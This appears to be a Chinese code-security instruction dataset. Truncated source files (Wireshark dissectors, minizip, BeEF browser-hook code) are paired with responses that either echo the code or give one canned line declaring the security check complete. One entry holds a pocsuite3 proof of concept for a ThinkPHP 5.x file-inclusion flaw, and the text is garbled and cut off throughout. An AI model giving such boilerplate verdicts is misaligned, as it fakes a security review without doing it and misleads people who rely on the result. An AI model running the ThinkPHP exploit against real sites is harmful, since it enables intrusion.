static int hf_fsso_unknown_ipv4 = -1;

static dissector_handle_t fortinet_sso_handle;

static int
dissect_fortinet_sso(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_tree *ti;
    proto_tree *fsso_tree;
    guint32 payload_length, client_ip;
    gint string_length = -1;
    const gchar *string;
    gint32 len;
    int offset = 0;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "FSSO");
    col_clear(pinfo->cinfo, COL_INFO);
    col_add_fstr(pinfo->cinfo, COL_INFO, "Fortinet Single Sign-On");

    ti = proto_tree_add_item(tree, proto_fortinet_sso, tvb, 0, -1, ENC_NA);
    fsso_tree = proto_item_add_subtree(ti, ett_fortinet_sso);

    proto_tree_add_item(fsso_tree, hf_fsso_length, tvb, offset, 2, ENC_BIG_ENDIAN);
    offset += 2;

    proto_tree_add_item(fsso_tree, hf_fsso_timestamp, tvb, offset, 4, ENC_BIG_ENDIAN);
    offset += 4;

    p...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-fortinet-sso.c
 * Routines for Fortinet Single Sign-On
 * Copyright 2020, Alexis La Goutte <alexis.lagoutte at gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * No spec/doc is available based on reverse/analysis of protocol...
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#define UDP_FSSO        8002

void proto_register_fortinet_sso(void);
void proto_reg_handoff_fortinet_sso(void);

static int proto_fortinet_sso = -1;
static gint ett_fortinet_sso  = -1;

static int hf_fsso_length = -1;
static int hf_fsso_timestamp = -1;
static int hf_fsso_client_ip = -1;
static int hf_fsso_payload_length = -1;
static int hf_fsso_string = -1;
static int hf_fsso_domain = -1;
static int hf_fsso_user = -1;
static int hf_fsso_host = -1;
static int hf_fsso_version = -1;
static int hf_fsso_tsagent_number_port_range = -1;
static int hf_fsso_tsagent_port_range_min = -1;
static int hf_fsso_tsagent_port_range_max = -1;
static int hf_fsso_unknown = -1;
static int hf_fsso_unknown_ipv4 = -1;

static dissector_handle_t fortinet_sso_handle;

static int
dissect_fortinet_sso(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_tree *ti;
    proto_tree *fsso_tree;
    guint32 payload_length, client_ip;
    gint string_length = -1;
    const gchar *string;
    gint32 len;
    int offset = 0;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "FSSO");
    col_clear(pinfo->cinfo, COL_INFO);
    col_add_fstr(pinfo->cinfo, COL_INFO, "Fortinet Single Sign-On");

    ti = proto_tree_add_item(tree, proto_fortinet_sso, tvb, 0, -1, ENC_NA);
    fsso_tree = proto_item_add_subtree(ti, ett_fortinet_sso);

    proto_tree_add_item(fsso_tree, hf_fsso_length, tvb, offset, 2, ENC_BIG_ENDIAN);
    offset += 2;

    proto_tree_add_item(fsso_tree, hf_fsso_timestamp, tvb, offset, 4, ENC_BIG_ENDIAN);
    offset += 4;

    p...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-paltalk.c
 * Routines for Paltalk dissection
 * Copyright 2005, Tim Hentenaar < tim at hentenaar dot com >
 * Copyright 2008, Mohammad Ebrahim Mohammadi Panah < mebrahim at gmail dot com >
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include "packet-tcp.h"

void proto_register_paltalk(void);
void proto_reg_handoff_paltalk(void);

#define INET_IPV4_ADDRESS_FROM_BYTES(a,b,c,d) g_htonl((((guint32)a)<<24) | ((b)<<16) | ((c)<<8) | (d)) /* *network* order */

#define PALTALK_SERVERS_ADDRESS INET_IPV4_ADDRESS_FROM_BYTES(199,106,0,0)      /* 199.106.0.0 in *network* order */
#define PALTALK_SERVERS_NETMASK INET_IPV4_ADDRESS_FROM_BYTES(0xFF, 0xFE, 0x00, 0x00)  /* /15  in *network* order */

#define PALTALK_HEADER_LENGTH 6

static int proto_paltalk = -1;

static int hf_paltalk_pdu_type = -1;
static int hf_paltalk_version = -1;
static int hf_paltalk_length = -1;
static int hf_paltalk_content = -1;

static gint ett_paltalk = -1;

static guint
dissect_paltalk_get_len(packet_info *pinfo _U_, tvbuff_t *tvb,
                        int offset, void *data _U_)
{
    return tvb_get_ntohs(tvb, offset + 4) + PALTALK_HEADER_LENGTH;
}

static int
dissect_paltalk_desegmented(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_item *ti = NULL;
    proto_tree *pt_tree = NULL;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "Paltalk");
    col_clear(pinfo->cinfo, COL_INFO);

    if (tree)       /* we are being asked for details */
    {
        ti = proto_tree_add_item(tree, proto_paltalk, tvb, 0, -1, ENC_NA);
        pt_tree = proto_item_add_subtree(ti, ett_paltalk);
        proto_tree_add_item(pt_tree, hf_paltalk_pdu_type, tvb, 0, 2, ENC_BIG_ENDIAN);
        proto_tree_add_item(pt_tree, hf_paltalk_version, tvb, 2, 2, ENC_BIG_ENDIAN);
        proto_tree_add_item(pt_tree, hf_paltalk_len...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-lppa.c
 * Routines for 3GPP LTE Positioning Protocol A (LLPa) packet dissection
 * Copyright 2011-2019, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref 3GPP TS 36.455 version 16.1.0 (2020-09)
 * http://www.3gpp.org
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-lppa.h"

#define PNAME  "LTE Positioning Protocol A (LPPa)"
#define PSNAME "LPPa"
#define PFNAME "lppa"

void proto_register_lppa(void);
void proto_reg_handoff_lppa(void);

/* Initialize the protocol and registered fields */
static int proto_lppa = -1;

#include "packet-lppa-hf.c"

/* Initialize the subtree pointers */
static gint ett_lppa = -1;
#include "packet-lppa-ett.c"

enum {
    INITIATING_MESSAGE,
    SUCCESSFUL_OUTCOME,
    UNSUCCESSFUL_OUTCOME
};

/* Dissector tables */
static dissector_table_t lppa_ies_dissector_table;
static dissector_table_t lppa_extension_dissector_table;
static dissector_table_t lppa_proc_imsg_dissector_table;
static dissector_table_t lppa_proc_sout_dissector_table;
static dissector_table_t lppa_proc_uout_dissector_table;

/* Include constants */
#include "packet-lppa-val.h"

static int dissect_ProtocolIEFieldValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_ProtocolExtensionFieldExtensionValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_InitiatingMessageValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_SuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_UnsuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);

struct lppa_private_data {
    guint32 procedure_code;
    guint32 protocol_ie_id;
    guint32 protocol_extensio...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-lppa.c
 * Routines for 3GPP LTE Positioning Protocol A (LLPa) packet dissection
 * Copyright 2011-2019, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref 3GPP TS 36.455 version 16.1.0 (2020-09)
 * http://www.3gpp.org
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-lppa.h"

#define PNAME  "LTE Positioning Protocol A (LPPa)"
#define PSNAME "LPPa"
#define PFNAME "lppa"

void proto_register_lppa(void);
void proto_reg_handoff_lppa(void);

/* Initialize the protocol and registered fields */
static int proto_lppa = -1;

#include "packet-lppa-hf.c"

/* Initialize the subtree pointers */
static gint ett_lppa = -1;
#include "packet-lppa-ett.c"

enum {
    INITIATING_MESSAGE,
    SUCCESSFUL_OUTCOME,
    UNSUCCESSFUL_OUTCOME
};

/* Dissector tables */
static dissector_table_t lppa_ies_dissector_table;
static dissector_table_t lppa_extension_dissector_table;
static dissector_table_t lppa_proc_imsg_dissector_table;
static dissector_table_t lppa_proc_sout_dissector_table;
static dissector_table_t lppa_proc_uout_dissector_table;

/* Include constants */
#include "packet-lppa-val.h"

static int dissect_ProtocolIEFieldValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_ProtocolExtensionFieldExtensionValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_InitiatingMessageValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_SuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_UnsuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);

struct lppa_private_data {
    guint32 procedure_code;
    guint32 protocol_ie_id;
    guint32 protocol_extensio...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.api import OptString
from pocsuite3.lib.utils import random_str
from collections import OrderedDict
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

class DemoPOC(POCBase):

	vulID = '1'
	version = '1'
	name = "Thinkphp include demo"
	appName = 'Thinkphp'
	appVersion = '5.x'
	desc = "本次漏洞存在于 ThinkPHP 模板引擎中，在加载模版解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致 文件包含漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10."

	def _verify(self):

			result = {}
			kkk = urlparse(self.url)
			query_dict = parse_qs(kkk.query)
			payload = 'cacheFile=../README.md'

			if query_dict:
				url = self.url+'&'+payload
			else:
		  		url = self.url+'?'+payload
			try:
				request = requests.get(url)
				if request.text:
					if 'ThinkPHP' in request.text:
							result['VerifyInfo'] = {}
							result['VerifyInfo']['url'] = url
							result['VerifyInfo']['payload'] = payload
			except Exception as e:
						pass

			return self.parse_output(result)

	def parse_output(self,result):

			output = Output(self)
			if result:
			 	output.success(result)

			else:
				output.fail('target is not vulnerable')

			return output

	def _attack(self):
		return self._verify()

register_poc(DemoPOC)


Instruction: 检查这段代码是否存在安全问题

Input:
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.api import OptString
from pocsuite3.lib.utils import random_str
from collections import OrderedDict
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

class DemoPOC(POCBase):

	vulID = '1'
	version = '1'
	name = "Thinkphp include demo"
	appName = 'Thinkphp'
	appVersion = '5.x'
	desc = "本次漏洞存在于 ThinkPHP 模板引擎中，在加载模版解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致 文件包含漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10."

	def _verify(self):

			result = {}
			kkk = urlparse(self.url)
			query_dict = parse_qs(kkk.query)
			payload = 'cacheFile=../README.md'

			if query_dict:
				url = self.url+'&'+payload
			else:
		  		url = self.url+'?'+payload
			try:
				request = requests.get(url)
				if request.text:
					if 'ThinkPHP' in request.text:
							result['VerifyInfo'] = {}
							result['VerifyInfo']['url'] = url
							result['VerifyInfo']['payload'] = payload
			except Exception as e:
						pass

			return self.parse_output(result)

	def parse_output(self,result):

			output = Output(self)
			if result:
			 	output.success(result)

			else:
				output.fail('target is not vulnerable')

			return output

	def _attack(self):
		return self._verify()

register_poc(DemoPOC)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Core
    module Handlers
      # @note Retrieves information about the browser (type, version, plugins etc.)
      class BrowserDetails
        @data = {}

        HB = BeEF::Core::Models::HookedBrowser
        BD = BeEF::Core::Models::BrowserDetails

        def initialize(data)
          @data = data
          setup
        end

        def err_msg(error)
          print_error "[Browser Details] #{error}"
        end

        def setup
          print_debug '[INIT] Processing Browser Details...'
          config = BeEF::Core::Configuration.instance

          # validate hook session value
          session_id = get_param(@data, 'beefhook')

          print_debug "[INIT] Processing Browser Details for session #{session_id}"
          unless BeEF::Filters.is_valid_hook_session_id?(session_id)
            err_msg 'session id is invalid'
            return
          end

          hooked_browser = HB.where(session: session_id).first
          return unless hooked_browser.nil? # browser is already registered with framework

          # create the structure representing the hooked browser
          zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)
          zombie.firstseen = Time.new.to_i

          # hooked window host name
          log_zombie_port = 0
          if !@data['results']['browser.window.hostname'].nil?
            log_zombie_domain = @data['results']['browser.window.hostname']
          elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
            referer = @data['request'].referer
            log_zombie_port = if referer.start_with?('https://')
                                443
                              else
                                80
                              end
         ...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Core
    module Handlers
      # @note Retrieves information about the browser (type, version, plugins etc.)
      class BrowserDetails
        @data = {}

        HB = BeEF::Core::Models::HookedBrowser
        BD = BeEF::Core::Models::BrowserDetails

        def initialize(data)
          @data = data
          setup
        end

        def err_msg(error)
          print_error "[Browser Details] #{error}"
        end

        def setup
          print_debug '[INIT] Processing Browser Details...'
          config = BeEF::Core::Configuration.instance

          # validate hook session value
          session_id = get_param(@data, 'beefhook')

          print_debug "[INIT] Processing Browser Details for session #{session_id}"
          unless BeEF::Filters.is_valid_hook_session_id?(session_id)
            err_msg 'session id is invalid'
            return
          end

          hooked_browser = HB.where(session: session_id).first
          return unless hooked_browser.nil? # browser is already registered with framework

          # create the structure representing the hooked browser
          zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)
          zombie.firstseen = Time.new.to_i

          # hooked window host name
          log_zombie_port = 0
          if !@data['results']['browser.window.hostname'].nil?
            log_zombie_domain = @data['results']['browser.window.hostname']
          elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
            referer = @data['request'].referer
            log_zombie_port = if referer.start_with?('https://')
                                443
                              else
                                80
                              end
         ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

PLUGINS WORDPRESS
PLUGINS WORDPRESS


Instruction: 检查这段代码是否存在安全问题

Input:
PLUGINS WORDPRESS
PLUGINS WORDPRESS

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-mpls-pm.c
 *
 * Routines for MPLS delay and loss measurement: it should conform
 * to RFC 6374.  'PM' stands for Performance Measurement.
 *
 * Copyright 2012 _FF_
 *
 * Francesco Fondelli <francesco dot fondelli, gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ip.h"
#include "packet-mpls.h"

void proto_register_mpls_pm(void);
void proto_reg_handoff_mpls_pm(void);

/* message control flags */
#define MPLS_PM_FLAGS_R     0x08
#define MPLS_PM_FLAGS_T     0x04
#define MPLS_PM_FLAGS_RES   0x03
#define MPLS_PM_FLAGS_MASK  0x0F

/* data format flags */
#define MPLS_PM_DFLAGS_X    0x80
#define MPLS_PM_DFLAGS_B    0x40
#define MPLS_PM_DFLAGS_RES  0x30
#define MPLS_PM_DFLAGS_MASK 0xF0

static gint proto_mpls_pm_dlm = -1;
static gint proto_mpls_pm_ilm = -1;
static gint proto_mpls_pm_dm = -1;
static gint proto_mpls_pm_dlm_dm = -1;
static gint proto_mpls_pm_ilm_dm = -1;

static gint ett_mpls_pm = -1;
static gint ett_mpls_pm_flags = -1;
static gint ett_mpls_pm_dflags = -1;

static int hf_mpls_pm_version = -1;
static int hf_mpls_pm_flags = -1;
static int hf_mpls_pm_flags_r = -1;
static int hf_mpls_pm_flags_t = -1;
static int hf_mpls_pm_flags_res = -1;
static int hf_mpls_pm_query_ctrl_code = -1;
static int hf_mpls_pm_response_ctrl_code = -1;
static int hf_mpls_pm_length = -1;
static int hf_mpls_pm_dflags = -1;
static int hf_mpls_pm_dflags_x = -1;
static int hf_mpls_pm_dflags_b = -1;
static int hf_mpls_pm_dflags_res = -1;
static int hf_mpls_pm_otf = -1;
static int hf_mpls_pm_session_id = -1;
static int hf_mpls_pm_ds = -1;
static int hf_mpls_pm_origin_timestamp_null = -1;
static int hf_mpls_pm_origin_timestamp_seq = -1;
static int hf_mpls_pm_origin_timestamp_ntp = -1;
static int hf_mpls_pm_origin_timestamp_ptp = -1;
static int hf_mpls_pm_origin_timestamp_unk = -1;
static int hf...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-mpls-pm.c
 *
 * Routines for MPLS delay and loss measurement: it should conform
 * to RFC 6374.  'PM' stands for Performance Measurement.
 *
 * Copyright 2012 _FF_
 *
 * Francesco Fondelli <francesco dot fondelli, gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ip.h"
#include "packet-mpls.h"

void proto_register_mpls_pm(void);
void proto_reg_handoff_mpls_pm(void);

/* message control flags */
#define MPLS_PM_FLAGS_R     0x08
#define MPLS_PM_FLAGS_T     0x04
#define MPLS_PM_FLAGS_RES   0x03
#define MPLS_PM_FLAGS_MASK  0x0F

/* data format flags */
#define MPLS_PM_DFLAGS_X    0x80
#define MPLS_PM_DFLAGS_B    0x40
#define MPLS_PM_DFLAGS_RES  0x30
#define MPLS_PM_DFLAGS_MASK 0xF0

static gint proto_mpls_pm_dlm = -1;
static gint proto_mpls_pm_ilm = -1;
static gint proto_mpls_pm_dm = -1;
static gint proto_mpls_pm_dlm_dm = -1;
static gint proto_mpls_pm_ilm_dm = -1;

static gint ett_mpls_pm = -1;
static gint ett_mpls_pm_flags = -1;
static gint ett_mpls_pm_dflags = -1;

static int hf_mpls_pm_version = -1;
static int hf_mpls_pm_flags = -1;
static int hf_mpls_pm_flags_r = -1;
static int hf_mpls_pm_flags_t = -1;
static int hf_mpls_pm_flags_res = -1;
static int hf_mpls_pm_query_ctrl_code = -1;
static int hf_mpls_pm_response_ctrl_code = -1;
static int hf_mpls_pm_length = -1;
static int hf_mpls_pm_dflags = -1;
static int hf_mpls_pm_dflags_x = -1;
static int hf_mpls_pm_dflags_b = -1;
static int hf_mpls_pm_dflags_res = -1;
static int hf_mpls_pm_otf = -1;
static int hf_mpls_pm_session_id = -1;
static int hf_mpls_pm_ds = -1;
static int hf_mpls_pm_origin_timestamp_null = -1;
static int hf_mpls_pm_origin_timestamp_seq = -1;
static int hf_mpls_pm_origin_timestamp_ntp = -1;
static int hf_mpls_pm_origin_timestamp_ptp = -1;
static int hf_mpls_pm_origin_timestamp_unk = -1;
static int hf...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* iowin32.c -- IO base function header for compress/uncompress .zip
     Version 1.1, February 14h, 2010
     part of the MiniZip project - ( http://www.winimage.com/zLibDll/minizip.html )

         Copyright (C) 1998-2010 Gilles Vollant (minizip) ( http://www.winimage.com/zLibDll/minizip.html )

         Modifications for Zip64 support
         Copyright (C) 2009-2010 Mathias Svensson ( http://result42.com )

     For more info read MiniZip_info.txt

*/

#include <stdlib.h>

#include "zlib.h"
#include "ioapi.h"
#include "iowin32.h"

#ifndef INVALID_HANDLE_VALUE
#define INVALID_HANDLE_VALUE (0xFFFFFFFF)
#endif

#ifndef INVALID_SET_FILE_POINTER
#define INVALID_SET_FILE_POINTER ((DWORD)-1)
#endif

// see Include/shared/winapifamily.h in the Windows Kit
#if defined(WINAPI_FAMILY_PARTITION) && (!(defined(IOWIN32_USING_WINRT_API)))

#if !defined(WINAPI_FAMILY_ONE_PARTITION)
#define WINAPI_FAMILY_ONE_PARTITION(PartitionSet, Partition) ((WINAPI_FAMILY & PartitionSet) == Partition)
#endif

#if WINAPI_FAMILY_ONE_PARTITION(WINAPI_FAMILY, WINAPI_PARTITION_APP)
#define IOWIN32_USING_WINRT_API 1
#endif
#endif

voidpf  ZCALLBACK win32_open_file_func  OF((voidpf opaque, const char* filename, int mode));
uLong   ZCALLBACK win32_read_file_func  OF((voidpf opaque, voidpf stream, void* buf, uLong size));
uLong   ZCALLBACK win32_write_file_func OF((voidpf opaque, voidpf stream, const void* buf, uLong size));
ZPOS64_T ZCALLBACK win32_tell64_file_func  OF((voidpf opaque, voidpf stream));
long    ZCALLBACK win32_seek64_file_func  OF((voidpf opaque, voidpf stream, ZPOS64_T offset, int origin));
int     ZCALLBACK win32_close_file_func OF((voidpf opaque, voidpf stream));
int     ZCALLBACK win32_error_file_func OF((voidpf opaque, voidpf stream));

typedef struct
{
    HANDLE hf;
    int error;
} WIN32FILE_IOWIN;

static void win32_translate_open_mode(int mode,
                                      DWORD* lpdwDesiredAccess,
                                      DWORD* lpdwCreationDispositio...


Instruction: 检查这段代码是否存在安全问题

Input:
/* iowin32.c -- IO base function header for compress/uncompress .zip
     Version 1.1, February 14h, 2010
     part of the MiniZip project - ( http://www.winimage.com/zLibDll/minizip.html )

         Copyright (C) 1998-2010 Gilles Vollant (minizip) ( http://www.winimage.com/zLibDll/minizip.html )

         Modifications for Zip64 support
         Copyright (C) 2009-2010 Mathias Svensson ( http://result42.com )

     For more info read MiniZip_info.txt

*/

#include <stdlib.h>

#include "zlib.h"
#include "ioapi.h"
#include "iowin32.h"

#ifndef INVALID_HANDLE_VALUE
#define INVALID_HANDLE_VALUE (0xFFFFFFFF)
#endif

#ifndef INVALID_SET_FILE_POINTER
#define INVALID_SET_FILE_POINTER ((DWORD)-1)
#endif

// see Include/shared/winapifamily.h in the Windows Kit
#if defined(WINAPI_FAMILY_PARTITION) && (!(defined(IOWIN32_USING_WINRT_API)))

#if !defined(WINAPI_FAMILY_ONE_PARTITION)
#define WINAPI_FAMILY_ONE_PARTITION(PartitionSet, Partition) ((WINAPI_FAMILY & PartitionSet) == Partition)
#endif

#if WINAPI_FAMILY_ONE_PARTITION(WINAPI_FAMILY, WINAPI_PARTITION_APP)
#define IOWIN32_USING_WINRT_API 1
#endif
#endif

voidpf  ZCALLBACK win32_open_file_func  OF((voidpf opaque, const char* filename, int mode));
uLong   ZCALLBACK win32_read_file_func  OF((voidpf opaque, voidpf stream, void* buf, uLong size));
uLong   ZCALLBACK win32_write_file_func OF((voidpf opaque, voidpf stream, const void* buf, uLong size));
ZPOS64_T ZCALLBACK win32_tell64_file_func  OF((voidpf opaque, voidpf stream));
long    ZCALLBACK win32_seek64_file_func  OF((voidpf opaque, voidpf stream, ZPOS64_T offset, int origin));
int     ZCALLBACK win32_close_file_func OF((voidpf opaque, voidpf stream));
int     ZCALLBACK win32_error_file_func OF((voidpf opaque, voidpf stream));

typedef struct
{
    HANDLE hf;
    int error;
} WIN32FILE_IOWIN;

static void win32_translate_open_mode(int mode,
                                      DWORD* lpdwDesiredAccess,
                                      DWORD* lpdwCreationDispositio...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "regex.h"

#include <wsutil/ws_return.h>
#include <wsutil/str_util.h>
#include <pcre2.h>

struct _ws_regex {
    pcre2_code *code;
    char *pattern;
};

#define ERROR_MAXLEN_IN_CODE_UNITS   128

static char *
get_error_msg(int errorcode)
{
    char *buffer;

    /*
     * We have to provide a buffer and we don't know how long the
     * error message is or even the maximum size. From pcre2api(3):
     *     "None of the messages are very long; a
     *     buffer size of 120 code units is ample."
     */
    /* Code unit = one byte */
    buffer = g_malloc(ERROR_MAXLEN_IN_CODE_UNITS);
    /* Message is returned with a trailing zero. */
    pcre2_get_error_message(errorcode, buffer, ERROR_MAXLEN_IN_CODE_UNITS);
    /* One more at the end for good luck. */
    buffer[ERROR_MAXLEN_IN_CODE_UNITS-1] = '\0';
    return buffer;
}

static pcre2_code *
compile_pcre2(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    pcre2_code *code;
    int errorcode;
    PCRE2_SIZE length;
    PCRE2_SIZE erroroffset;
    uint32_t options = 0;

    if (size < 0)
        length = PCRE2_ZERO_TERMINATED;
    else
        length = (PCRE2_SIZE)size;

    if (flags & WS_REGEX_NEVER_UTF)
        options |= PCRE2_NEVER_UTF;
    if (flags & WS_REGEX_CASELESS)
        options |= PCRE2_CASELESS;

    /* By default UTF-8 is off. */
    code = pcre2_compile_8((PCRE2_SPTR)patt,
                length,
                options,
                &errorcode,
                &erroroffset,
                NULL);

    if (code == NULL) {
        *errmsg = get_error_msg(errorcode);
        return NULL;
    }

    return code;
}

ws_regex_t *
ws_regex_compile_ex(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    ws_return_val_if_null(patt, NULL);

    pcre2_code *code = compile_p...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "regex.h"

#include <wsutil/ws_return.h>
#include <wsutil/str_util.h>
#include <pcre2.h>

struct _ws_regex {
    pcre2_code *code;
    char *pattern;
};

#define ERROR_MAXLEN_IN_CODE_UNITS   128

static char *
get_error_msg(int errorcode)
{
    char *buffer;

    /*
     * We have to provide a buffer and we don't know how long the
     * error message is or even the maximum size. From pcre2api(3):
     *     "None of the messages are very long; a
     *     buffer size of 120 code units is ample."
     */
    /* Code unit = one byte */
    buffer = g_malloc(ERROR_MAXLEN_IN_CODE_UNITS);
    /* Message is returned with a trailing zero. */
    pcre2_get_error_message(errorcode, buffer, ERROR_MAXLEN_IN_CODE_UNITS);
    /* One more at the end for good luck. */
    buffer[ERROR_MAXLEN_IN_CODE_UNITS-1] = '\0';
    return buffer;
}

static pcre2_code *
compile_pcre2(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    pcre2_code *code;
    int errorcode;
    PCRE2_SIZE length;
    PCRE2_SIZE erroroffset;
    uint32_t options = 0;

    if (size < 0)
        length = PCRE2_ZERO_TERMINATED;
    else
        length = (PCRE2_SIZE)size;

    if (flags & WS_REGEX_NEVER_UTF)
        options |= PCRE2_NEVER_UTF;
    if (flags & WS_REGEX_CASELESS)
        options |= PCRE2_CASELESS;

    /* By default UTF-8 is off. */
    code = pcre2_compile_8((PCRE2_SPTR)patt,
                length,
                options,
                &errorcode,
                &erroroffset,
                NULL);

    if (code == NULL) {
        *errmsg = get_error_msg(errorcode);
        return NULL;
    }

    return code;
}

ws_regex_t *
ws_regex_compile_ex(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    ws_return_val_if_null(patt, NULL);

    pcre2_code *code = compile_p...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ppi-geolocation-common.c
 * Routines for PPI-GEOLOCATION  dissection
 * Copyright 2010, Harris Corp, jellch@harris.com
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>
#include "packet-ppi-geolocation-common.h"

/*
 * input: a unsigned 32-bit (native endian) value between 0 and 3600000000 (inclusive)
 * output: a signed floating point value betwen -180.0000000 and + 180.0000000, inclusive)
 */
gdouble ppi_fixed3_7_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180 * 10000000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000000);
    return ret;
}
/*
 * input: a native 32 bit unsigned value between 0 and 999999999
 * output: a positive floating point value between 000.0000000 and 999.9999999
 */

gdouble ppi_fixed3_6_to_gdouble(guint32 in) {
    gdouble ret = (gdouble) in  / 1000000.0;
    return ret;

}
/*
 * input: a native 32 bit unsigned value between 0 and 3600000000
 * output: a signed floating point value between -180000.0000 and +180000.0000
 */
gdouble ppi_fixed6_4_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180000 * 10000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000);
    return ret;
}

